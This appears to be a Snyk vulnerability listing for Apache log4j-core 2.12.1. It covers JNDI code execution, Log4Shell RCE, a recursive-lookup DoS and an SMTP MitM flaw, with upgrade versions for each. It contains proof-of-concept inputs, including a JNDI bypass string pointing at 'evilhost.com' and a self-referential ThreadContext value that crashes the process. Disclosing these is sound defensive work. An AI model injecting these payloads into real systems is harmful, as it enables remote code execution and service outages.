org.apache.logging.log4j:log4j-core@2.12.1 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the org.apache.logging.log4j:log4j-core package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Arbitrary Code Execution

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

How to fix Arbitrary Code Execution?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

[2.0-beta7,2.3.2) [2.4,2.12.4) [2.13.0,2.17.1)
  • H
Denial of Service (DoS)

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

How to fix Denial of Service (DoS)?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

[2.0-beta9,2.3.1) [2.4,2.12.3) [2.13.0,2.17.0)
  • C
Remote Code Execution (RCE)

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

How to fix Remote Code Execution (RCE)?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

[2.0-beta9,2.3.1) [2.4,2.12.2) [2.13.0,2.16.0)
  • C
Remote Code Execution (RCE)

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

How to fix Remote Code Execution (RCE)?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

[2.0-beta9,2.3.1) [2.4,2.12.2) [2.13.0,2.15.0)
  • L
Man-in-the-Middle (MitM)

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.

How to fix Man-in-the-Middle (MitM)?

Upgrade org.apache.logging.log4j:log4j-core to version 2.13.2 or higher.

[,2.13.2)